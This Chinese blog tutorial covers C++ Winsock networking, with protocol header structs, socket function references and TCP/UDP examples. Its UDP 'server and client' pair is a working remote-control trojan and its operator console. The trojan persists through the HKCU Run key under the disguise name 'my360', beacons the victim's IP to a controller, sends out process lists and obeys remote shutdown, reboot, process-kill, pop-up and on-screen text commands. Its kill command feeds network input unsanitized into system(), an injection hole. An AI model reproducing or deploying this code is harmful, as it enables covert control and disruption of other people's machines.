欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

C++网络通信实现

程序员文章站 2022-06-29 21:18:14
...

TCP/IP协议

OSI参考模型:应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。

TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。

数据包格式

IP数据包

IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接数据包传输。不保证数据包的发送,但最大限度的发送数据。结构如下:

typedef struct HeadIP{
    unsigned char headerlen:4;//首部长度,4位
    unsigned char version:4;//版本,4位
    unsigned char servertype;//服务类型,8位
    unsigned short totallen;//长度,16位
    unsigned short id;
    //与idoff构成标识符,共占16为,前3位是标识,后13位是片偏移
    unsigned short idoff;
    unsigned char ttl;//生存时间,8位
    unsigned char proto;//协议,占8位
    unsigned short checksum;//检验首部和,16位
    unsigned int sourceIP;//源IP地址,32位
    unsigned int destIP;//目的IP地址,32位
}HeadIP;

TCP数据包

面向连接,全双工,可靠的传输。

typedef struct HeadTCP{
    WORD SourcePort;//16位源端口号
    WORD DePort;//16位目的端口
    DWORD SequenceNo;//32位序号
    DWORD ConfirmNo;//32位确认序号
    BYTE HeadLen;//与Flag为一个组成部分,首部长度,4位,保留6位,6位标识,共16位
    BYTE Flag;
    WORD WndSize;//16位窗口大小
    WORD CheckSum;//16位校验和
    WORD UrgPtr;//16位紧急指针
}HeadTCP;

三次握手连接

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据。

C++网络通信实现

四次握手关闭

TCP关闭连接的步骤如下:

第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。

第二步,主机B收到这个FIN报文段之后,并不立即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知自己相应的应用程序:对方要求关闭连接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。

第三步,主机B的应用程序告诉TCP:我要彻底的关闭连接,TCP向主机A送一个FIN报文段。

第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示连接彻底释放。

C++网络通信实现

UDP数据包

UDP数据包是无连接的,一次服务,不提供差错恢复,不提供数据重传。

typedef struct HeadUDP{
    WORD SourcePort;//16位端口号
    WORD DePort;//16位目的端口
    WORD Len;//16位UDP长度
    WORD ChkSum;//16位UDP校验和
}HeadUDP;

ICMP数据包

ICMP协议被称为网际控制报文协议,是IP协议的附属协议,可以将某设备的故障信息发送到其他设备。

typedef struct HeadCMP{
    BYTE Type;//8为类型
    BYTE Code;//8位代码
    WORD ChkSum;//16位校验和
}HeadICMP;

套接字

所谓套接字,实际上是一个指向传输提供者的句柄。

Winsock套接字可以使应用程序适用于不同的网络名和网络地址。

#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//链接库文件

初始化套接字:

WSADATA wsd;//定义WSADATA对象
WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字

常用的套接字函数

  1. WSAStartup函数:初始化ws2_32.dll动态链接库

    int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);

  2. socket函数:创建套接字

    SOCKET socket(int af,int type,int protocol);

  3. bind函数:将套接字绑定到指定的端口和地址

    int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);

  4. listen函数:将套接字设定为监听模式
    int listen(SOCKET s,int backlog);

  5. accept函数:接收连接请求

    SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);

  6. closesocket函数:关闭套接字

    int closesocket(SOCKET s);

  7. connect函数:发送连接请求

    int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);

  8. htons 函数:将16位无符号短整型数据转换为网络排列方式

    u_short htons(u_short hostshort);

  9. htonl函数:将无符号长整型转换为网络排列方式

    u_long htonl(u_long hostlong);

  10. inet_addr函数:将字符串表示的地址转换为32位的无符号长整型数据

    unsigned long inet_addr(const char FAR* cp);

  11. recv函数:接收数据

    int recv(SOCKET s,char FAR* buf,int len,int flags);

  12. send函数:发送数据

    int send(SOCKET s,const char FAR* buf,int len,int flags);

  13. select函数:检查套接字是否处于可读、可写或错误状态

    int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);

  14. WSACleanup函数:释放ws2_32.dll动态链接库分配的资源

    int WSACleanup(void);

  15. WSAAsyncSelect函数:将网络中的某事件关联到窗口的某个消息中

    int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);

  16. ioctlsocket函数:设置套接字的I/O模式

    int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);

套接字阻塞模式

依据套接字函数执行方式的不同,可以将套接字分为两类:阻塞和非阻塞。

阻塞:函数调用玩会一直等待,直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。

非阻塞:函数调用会立即返回。

默认情况下,套接字为阻塞套接字。为了将套接字设置为非阻塞,需要使用ioctlsocket函数。

unsigned long nCmd;
SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
if(nState != 0)
{
    TRACE("设置套接字非阻塞模式失败!");
}

连接过程

面向连接流

服务端:

|- WSAStartup函数初始化
|- 创建Socket
|- 用bind指定对象
|- listen设置监听
|- accept接收请求
|- send发送会话
|- closesocket关闭socket

客户端:

|- WSAStartup函数初始化
|- 创建Socket
|- connect请求连接
|- send发送会话
|- closesocket关闭socket

面向无连接流

服务端:

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭Socket

客户端:

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭socket

基于UDP协议的网络通信

UDP链接是面向无连接的,一次服务,不提供差错恢复,不提供数据重传。

SOCK_DGRAM协议族,UDP协议。

服务端实现

服务端启动后会给指定IP地址的客户端发送服务端的IP地址,以便客户端启动后自动连接到服务端。

C++网络通信实现

#include<stdio.h>
// 获取进程列表
#include<windows.h>//windows底层函数
#include<Tlhelp32.h>
// 网络库(Linux头文件不同)
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")
// 取消窗口显示
//#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")

// 全局变量
int sock;
bool going=true;

// 分身活动区域
unsigned long WINAPI function(void* lp)
{
    // 发送肉鸡IP地址
    char hostname[255]="";
    // 获取系统主机名
    gethostname(hostname,sizeof(hostname));
    printf("系统主机名:%s\n",hostname);
    // 在数据链路层,主机名与IP地址对应
    hostent *host=gethostbyname(hostname);
    char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);
    //printf("%s\n",ip);
    // 强制转换网络地址为255.255.255.255类型

    // 定义控制方IP地址
    sockaddr_in ctladdr;
    ctladdr.sin_family=AF_INET;
    ctladdr.sin_port=htons(7676);
    ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    while(going)
    {
        sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
        Sleep(5000);
        // 5秒
    }
    return 0;
}

int main(void)
{
    // 防止双开 互斥量
    HANDLE hmutex=CreateMutex(0,true,"LF");
    // (默认值,是否上锁,标识)
    if(hmutex!=NULL)// 不为空则创建成功
    {
        if(GetLastError()==ERROR_ALREADY_EXISTS)
        {
            printf("已经打开了\n");
            return 0;
        }
    }

    // 开机自启
    //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    //HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY key;// HKEY代表打开的注册表首地址
    long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);
    if(reg==ERROR_SUCCESS)// 打开成功返回为0
    {
        // 获取路径
        printf("注册表写入成功!\n");
        char path[255]="";
        GetModuleFileName(0,path,254);

        // 增加此运行程序的路径(key,"name",写入0,写入类型)
        // 用RegSetValueEx写在Run目录下
        RegSetValue(key,"my360",REG_SZ,path,strlen(path));
        // 关闭程序
        RegCloseKey(key);
        // Release版本才可以开机自启
    }
    // 1.网络是否存在,初始化网络 调用系统函数
    WSADATA wsaData;
    WSAStartup(0x202,&wsaData);
    // 网络库版本号,最新版本,获取初始化信息

    // 2.购买手机(获取套接字)
    //int sock=socket(AF_INET,SOCK_DGRAM,0);
    // SOCK_DGRAM协议族,UDP协议,默认为0
    // SOCK_STREAM, TCP/IP协议
    sock=socket(AF_INET,SOCK_DGRAM,0);

    // 3.绑定端口号(类似绑定手机卡)
    sockaddr_in addr;// 此电脑的信息(ip,端口号,协议族)
    addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    //inet_addr("192.168.75.1");
    addr.sin_port = htons(7979);// 绑定的端口号
    addr.sin_family=AF_INET;
    bind(sock,(sockaddr*)&addr,sizeof(addr));
    // 4.收到指令,并处理
    char buf[1024]="";// 接收数据1#1等
    char cmd[4]="";// 截取字符串

    // 定义控制方IP地址
    sockaddr_in ctladdr;
    int ilen = sizeof(ctladdr);
    // 创建分身
    CreateThread(0,0,function,0,0,0);

    while(1) //recv(套接字,存储数据区,存储数据长度,默认为0)
    {
        // 收信息recv/recvfrom
        // recvfrom不仅可以收到信息,还可以知道发送端的IP及端口号
        //int num=recv(sock,buf,sizeof(buf),0);
        int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);
        printf("收到控制端消息:%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);
        // 截取前三个字符到cmd中
        strncpy(cmd,buf,3);
        buf[num]='\0';
        //printf("%s\n",buf);
        // 指令的识别,处理
        if(strcmp(cmd,"1#1")==0)
        {
            system("shutdown -s -t 1000");// 关机
        }
        else if(strcmp(cmd,"1#2")==0)
        {
            system("shutdown -r -t 1000");// 重启
        }
        else if(strcmp(cmd,"2#1")==0)// 获取进程列表
        {
            // 动态获取进程列表(二维数组)
            // 1.打开获取表格
            HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
            // 2.遍历表格 Process32First(表格);
            PROCESSENTRY32 processMsg;// 结构体(程序名,ID,内存)
            Process32First(handle,&processMsg);
            do
            {
                //printf("%s\n",processMsg.szExeFile);
                sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
            }while(Process32Next(handle,&processMsg));//指为空时返回0
        }
        else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名
        {
            //shell命令
            if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)
            {
                char *process=strtok(NULL,"#");
                char opr[100]="";
                // 字符串的拼接
                sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程
                system(opr);
                //printf("%s\n",opr);
                //system("taskkill /F /IM FeiQ*");
            }
        }
        else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式)
        {
            // 截取字符串
            // 4#1#内容#标题
            if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
            {
                char *content=strtok(NULL,"#");
                char *title=strtok(NULL,"#");
                MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);
            }
        }
        else if(strcmp(cmd,"6#1")==0)
        {
            going=false;
        }
        else if(strcmp(cmd,"7#1")==0)// 显示广告
        {
            // 截取字符串
            // 7#1#内容
            if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
            {
                char *content=strtok(NULL,"#");

                // 1.获取设备上下文接口:打印机,投影仪,屏幕
                HDC hdc=GetDC(0);// NULL默认输出主屏幕

                // 字体背景透明
                SetBkMode(hdc,TRANSPARENT);
                // 颜色
                SetTextColor(hdc,RGB(255,0,0));// 红绿蓝
                // 大小,改变字体,创建字体
                HFONT font=CreateFont(100,50,0,0,
                    FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
                    CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");
                // 替换字体
                SelectObject(hdc,font);

                // 2.绘画字体
                TextOut(hdc,100,100,content,strlen(content));
                // 3.释放上下文
                ReleaseDC(0,hdc);
            }
        }
    }
    // 5.释放网络
    closesocket(sock);
    // 6.清空初始化
    WSACleanup();
    return 0;
}

客户端实现

只要服务端运行,就会给指定的客户端发送服务端IP地址,当客户端收到服务端IP地址后,会自动连接到服务端,并可对服务端进行关机、重启、获取服务端进程列表、结束进程,以及发送远程字幕和弹窗操作。

C++网络通信实现

#include<stdio.h>
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")

int num=0;
char ipBuf[1024]="";

// 为线程指定活动区域
unsigned long WINAPI threadfun(void *sock)
{
    char buf[1024]="";
    while(1)
    {
        //Sleep(5000);
        //无数据则一直等待,中途中断则返回0
        num=recv(*(int*)sock,buf,1023,0);
        buf[num]='\0';
        printf("收到服务器消息:%s\n",buf);
        strcpy(ipBuf,buf);
        /*
        ip地址转存给主函数,
        直接用buf行不通,
        可能一直被读写占用
        */
        if(num<=0)
            break;//接收完成
    }
    return 0;
}

void menu(int sock,sockaddr_in eaddr)
{
    printf("-------------控制系统----------------------\n");
    printf("-------------1.关机------------------------\n");
    printf("-------------2.重启------------------------\n");
    printf("-------------3.进程列表--------------------\n");
    printf("-------------4.结束进程--------------------\n");
    printf("-------------5.远程字幕--------------------\n");
    printf("-------------6.发送弹窗--------------------\n");
    printf("请选择:\n");

    int opt=0;
    scanf("%d",&opt);
    if(opt==1)//关机
    {
        sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==2)//重启
    {
        sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==3)//进程列表
    {
        sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==4)//结束进程
    {
        char process[100]="";
        printf("请输入需要结束的进程名:\n");
        scanf("%s",process);
        //拼接
        char cmd[1000]="";
        sprintf(cmd,"2#2#%s*",process);
        sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==5)//投放字幕
    {
        char content[100]="";
        printf("请输入广告内容:");
        scanf("%s",content);
        //格式化字符串
        char cmd[1000]="";
        sprintf(cmd,"7#1#%s",content);
        sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==6)//弹窗
    {
        char content1[100]="";
        printf("请输入弹窗内容:");
        scanf("%s",content1);
        char content2[100]="";
        printf("请输入标题:");
        scanf("%s",content2);
        //格式化字符串
        char cmd[1000]="";
        sprintf(cmd,"4#1#%s#%s",content1,content2);
        sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
        printf("%d,%d\n",sock,sizeof(eaddr));
    }
}


int main(void)
{
    // 1.初始化网络,网络是否存在
    WSADATA wsaData;
    WSAStartup(0x202,&wsaData);

    // 2.购买手机,获取套接字
    int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网
    // 3.绑定手机卡(默认:若绑定,网卡会默认绑定(IP,随机端口号))
    // 不绑定,让系统默认绑定
    // 手动绑定IP地址,端口号
    sockaddr_in myaddr;
    myaddr.sin_family=AF_INET;
    myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
    myaddr.sin_port=htons(7676);
    bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机

    // 4.发送指令
    char buf[100]="";
    sockaddr_in eaddr;
    eaddr.sin_port=htons(7979);
    eaddr.sin_family=AF_INET;
    //eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");

    // 创建一个线程接收(0,0,线程活动区域,传递值,0,0)
    HANDLE hThread;
    hThread = CreateThread(0,0,threadfun,&sock,0,0);

    if(hThread==NULL)
    {
        printf("接收线程未运行!\n");
    }
    else
    {
        //Sleep(5000);
        printf("接收线程正在运行!\n");
        while(strlen(ipBuf)==0)
        {
            printf("正在尝试与服务器建立连接...\n");
            Sleep(5000);
        }
        printf("已连接到服务器地址:%s\n",ipBuf);
        eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);
        //停止获取IP
        sendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
        while(1)
        {
            menu(sock,eaddr);//菜单
        }
    }
    // 5.释放网络
    closesocket(sock);
    // 6.清除
    WSACleanup();
    return 0;
}

基于TCP/IP协议的网络通信

TCP/IP协议是面向连接的,安全的。

服务端实现

接收客户端A,则给客户端发送字符B,接收C,则发送字符D。

C++网络通信实现

#include<iostream.h>
#include<stdlib.h>
#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//引用库文件
//线程实现函数

DWORD WINAPI threadpro(LPVOID pParam)
{
    SOCKET hsock=(SOCKET)pParam;
    char buffer[1024];
    char sendBuffer[1024];
    if(hsock != INVALID_SOCKET)
        cout<<"Start Receive!"<<endl;
    while(1)
    {
        //循环接收发送的内容
        int num = recv(hsock,buffer,1024,0);//阻塞函数,等待接收内容
        if(num>=0)
            cout<<"Receive form clinet!"<<buffer<<endl;
        if(!strcmp(buffer,"A"))
        {
            memset(sendBuffer,0,1024);
            strcpy(sendBuffer,"B");
            int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
            cout<<"Send to Client: "<<sendBuffer<<endl;
        }
        else if(!strcmp(buffer,"C"))
        {
            memset(sendBuffer,0,1024);
            strcpy(sendBuffer,"D");
            int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
            cout<<"Send to client: "<<sendBuffer<<endl;
        }
        else if(!strcmp(buffer,"exit"))
        {
            cout<<"Client Close"<<endl;
            cout<<"Server Process Close"<<endl;
            return 0;
        }
        else
        {
            memset(sendBuffer,0,1024);
            strcpy(sendBuffer,"ERR");
            int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);
            cout<<"Send to client"<<sendBuffer<<endl;
        }

    }
    return 0;
}
//主函数
void main()
{
    WSADATA wsd;//定义WSADATA对象
    WSAStartup(MAKEWORD(2,2),&wsd);
    SOCKET m_SockServer;
    sockaddr_in serveraddr;
    sockaddr_in serveraddrfrom;
    SOCKET m_Server[20];

    serveraddr.sin_family = AF_INET;//设置服务器地址
    serveraddr.sin_port=htons(4600);//设置端口号
    serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    m_SockServer=socket(AF_INET,SOCK_STREAM,0);
    int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));
    cout<<"bind:"<<i<<endl;

    int iMaxConnect=20;//最大连接数
    int iConnect=0;
    int iLisRet;
    char buf[]="This is Server\0";//向客户端发送的内容
    char WarnBuf[]="It is over Max connect\0";
    int len=sizeof(sockaddr);
    while(1)
    {
        iLisRet=listen(m_SockServer,0);//进行监听
        m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);
        //同意连接
        if(m_Server[iConnect]!=INVALID_SOCKET)
        {
            int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去
            cout<<"发送消息:"<<buf<<endl;
            cout<<"accept: "<<ires<<endl;//显示已经建立连接次数
            iConnect++;
            if(iConnect>iMaxConnect)
            {
                int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);

            }
            else
            {
                HANDLE m_Handel;//线程句柄
                DWORD nThreadId=0;//线程ID
                m_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);
                //启动线程
                cout<<"启动线程!"<<endl;
            }
        }
    }
    WSACleanup();
}

客户端实现

给服务端发送A,则会接受到字符B,发送C,则收到D。

C++网络通信实现

#include<iostream.h>
#include<stdlib.h>
#include<stdio.h>
#include"winsock2.h"
#include<time.h>
#pragma comment(lib,"ws2_32.lib")

void main()
{
    WSADATA wsd;//定义WSADATA对象
    WSAStartup(MAKEWORD(2,2),&wsd);
    SOCKET m_SockClient;
    sockaddr_in clientaddr;

    clientaddr.sin_family=AF_INET;//设置服务器地址
    clientaddr.sin_port=htons(4600);//设置服务器端口号
    clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    m_SockClient=socket(AF_INET,SOCK_STREAM,0);
    int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时
    cout<<"connect:"<<i<<endl;

    char buffer[1024];
    char inBuf[1024];
    int num;
    num=recv(m_SockClient,buffer,1024,0);//阻塞
    if(num>0)
    {
        cout<<"Receive from server:"<<buffer<<endl;//欢迎信息
        while(1)
        {
            num=0;
            cout<<"请输入要发送的消息:"<<endl;
            cin>>inBuf;
            if(!strcmp(inBuf,"exit"))
            {
                send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令
                return;
            }
            send(m_SockClient,inBuf,sizeof(inBuf),0);
            num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据
            if(num>=0)
                cout<<"接收消息:"<<buffer<<endl;
        }
    }
}